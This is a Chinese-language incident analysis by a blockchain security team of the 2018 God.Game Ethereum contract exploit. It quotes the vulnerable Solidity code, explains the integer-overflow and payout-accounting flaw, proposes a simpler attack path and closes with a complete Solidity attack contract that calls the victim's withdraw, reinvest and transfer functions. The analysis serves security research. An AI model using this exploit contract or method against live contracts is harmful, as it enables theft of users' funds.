作者:Sissel@知道创宇404区块链安全研究团队 发布时间:2018/08/24
0x00 前言
当你凝视深渊时,深渊也在凝视着你。
越来越多的乐透、赌博游戏与区块链体系结合起来,步入众多投资者和投机者的视野中。区块链可以说是这类游戏的温床。正面来说,区块链的可信机制与合约的公开,保证了游戏的中立。另一方面,区块链的非实名性,也让玩家的个人信息得以隐藏。
分红、邀约、股息,这些游戏看似利益诱人,实则一个个都是庞氏骗局。游戏火了,诈骗满满皆是。每个人都信心满满地走进游戏,投入大笔资金,希望自己成为受益者,别人都是自己的接盘侠。这样的游戏,只有两个结局,不是游戏所有者获益,就是半路杀进游戏的区块链黑客卷走一切,让玩家血本无归,无一例外。日复一日,无数投机者交了学费,空手而归,却又毫不死心,重入深渊。
游戏依然层出不穷,不信邪的人也是接连不断。近日,国内出现了一款类PoWH的银行游戏,在两周的宣传过后,短短数日,就完成了游戏创建、集资、黑客卷钱走人这一整个流程,让无数玩家措手不及。
知道创宇404区块链安全研究团队得知此事件后,对游戏合约进行了仔细审计,复现了攻击者的手法,接下来,将对整个事件进行完整的分析,并给出一种简洁的利用方式。
0x01 合约介绍
智能合约名为God,地址为 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d,部署于 6176235,发行了名为God币的代币(erc20 token)。
God.Game主要是一个银行合约,代码有上千行,较为复杂。如果之前对PoWH3D等类似合约有过接触,God便不难理解。下面我们介绍些简单概念。
token代表数字资产,具有价值,通过智能合约发行于区块链上,我们可以称之为代币。符合ERC20协议的代币可以更容易互换,方便的在交易所上市。God币便是符合ERC20协议的代币。
在God.Game中,你可以通过eth购买token(god币),当你拥有了token,相当于参加了这个游戏。
token与eth的兑换、分红的多少,都与token的总量以及持有者有关,不断变化。
我们将简要介绍合约中出现的几个重要变量。
在开始介绍前,请先记住一个概念:红利由 账户token的价值 - payout 得到,时常变化,而不是记录这个变量。
合约通过控制payoutsTo的值,来控制用户可用的钱,即红利【用来提eth,或再向God合约购买token】。
以下变量是全局中浮动的
dividends = 账户总价值 - 已用的钱【payout】
dividends这个变量并不存储,不然每当其他参数变动时,需要计算所有人的分红。
每次使用时,通过myDividends(false)计算,而这个函数在不涉及推荐功能时,仅调用了dividendsOf(address customerAddress)。
这里也是本次攻击的溢出点。
0x02 漏洞点
漏洞点有两处,简而言之,是当被转账账户是合约账户时,处理有误造成的。
function dividendsOf(address _customerAddress) view public returns (uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; }
从上面得知,分红可用来提eth,或再次购买token。 分红本应永远为正数,这里的减法未使用safeMath,最后还强制转换uint,会造成整数溢出。 我们需要控制payoutsTo和token的关系。
// exchange tokens tokenBalanceLedger_[_from] = SafeMath.sub(tokenBalanceLedger_[_from], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
我们看到,如论如何转账,token一定是一方减少,另一方增加,符合代币的特点。
if (fromLength > 0 && toLength <= 0) { // contract to human contractAddresses[_from] = true; contractPayout -= (int) (_amountOfTokens); tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); } else if (fromLength <= 0 && toLength > 0) { // human to contract contractAddresses[_toAddress] = true; contractPayout += (int) (_amountOfTokens); tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens); payoutsTo_[_from] -= (int256) (profitPerShare_ * _amountOfTokens);
这里是God中,针对转账双方的账户类型【外部账户、合约账户】采取的不同操作。
我们会发现,transfer()函数并未对合约账户的payoutsTo进行操作。而是仅修改了contractPayout这个和God合约参数有关的全局变量。
导致合约账户中 token(很多) * profitPerShare(常量) - payoutsTo(0) 非常大。正常来讲,payoutsTo应该变大,令账户的dividends为 0。
这种写法非常奇怪,在ERC20的协议中,当被转账账户为合约时,只需要合约拥有该代币的回调函数即可,没有别的要求。
0x03 攻击链
这样我们就可以得到大致的攻击链: 再次注意,红利 dividens = token * token价值 - payout(用户已经花了的部分)。 即 可用的钱 = 总价值 - 已用的钱
再投资【使用红利购买token】,通过大量的红利,可以随意购买token,进而sell()+withdraw()提出eth,完成攻击。
0x04 实际流程
攻击者首先部署了几个测试的攻击合约,因为一些原因之后未使用,可能仅供测试。
知道创宇404区块链安全研究团队使用昊天塔,对攻击者部署的合约进行了逆向,得到了攻击合约大致代码。
得到的函数列表
0x0: main() 0xa2: withdraw() 0xb7: ownerWithdraw() 0xcc: owner() 0xfd: myTokens() 0x124: transfer(address,uint256) 0x148: tokenFallback(address,uint256,bytes) 0x1c5: sell(uint256) 0x1dd: exit() 0x1f2: func_ee2ece60 0x207: buy(address) 0x21b: func_f6613ff5 0x230: reinvest()
而具体分析函数内容,发现该合约大部分函数都是以本合约发起对God合约的调用,例如:
function withdraw() public { if (msg.sender == 0x2368beb43da49c4323e47399033f5166b5023cda){ victim.call(bytes4(keccak256("withdraw()"))); } }
对照攻击者交易明细,我们来复现攻击流程。我们假设token对应红利是1:1,便于解释。
0x05 更简单的攻击手法
回顾上述攻击流程,攻击成立主要依赖红利由 token - payout 得到,时常变化,而不是记录这个特性。
在交易token时,变化的只是双方持有的token数,双方的红利应该不变,换言之,就是用户的payout也需要变化才能保证红利变化。
漏洞就在于在用户和合约交易token时,合约方的payout并没有相应的增加,导致红利平白无故的多出来,最终导致了凭空生币。
这样一来,我们就可以使用更简单的攻击手法。
下面是详细的介绍:
我们发现智能合约在这个过程中,因为接受转账未增加payout,导致在第二步中可以提取不少的以太币,并在第三步将token原路转回。 这一过程,合约账户便可凭空得到以太币。而只需要支付一部分手续费以及token的轻微贬值。如此反复创建新的合约,并按以上步骤,可以提出God.Game中大量的以太币。
此攻击方法理论成立,还需仔细考察手续费和token价值变化等细节问题,但从合约中提取部分以太币是可行的。
0x06 总 结
以上就是God.Game合约的分析,以及本次攻击的复现。这次攻击的发生距离合约部署仅有两天,整个攻击流程非常巧妙。按照前面的分析,仅通过合约账户的withdraw()就可以提出以太币。但攻击者还利用了红利溢出,进而获得了大量的token。根据上面多方面因素,虽然主办方在事件发生后声明自己是受害者。但是根据telegram上记录,主办方在游戏开始之前就再未查看玩家群。这些现像,引人深思。
区块链游戏看似充满诱惑,实则迷雾重重。无论如何谨慎,都有可能跌入深渊。谁也不知道游戏背后的创建者究竟有什么打算,但人皆贪婪,有钱财的地方,必有隐患。
0x07 相关链接
未使用的分红增加,可用来withdraw(提款)或reinvest(再投资)。
清零分红,获得相应的eth。
消耗掉账户的分红,换成token。
from:
to:
pragma solidity ^0.4.23; contract Attack { address public owner; address public victim; function Attack() payable { owner = msg.sender; } function setVictim(address target) public { victim = target; } function withdraw() payable public { victim.call(bytes4(keccak256("withdraw()"))); } function reinvest() payable public { victim.call(bytes4(keccak256("reinvest()"))); } function transfer(address to_, uint256 amount) payable public{ victim.call(bytes4(keccak256("transfer(address,uint256)")),to_,amount); } function () payable public{} function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool){ return true; } }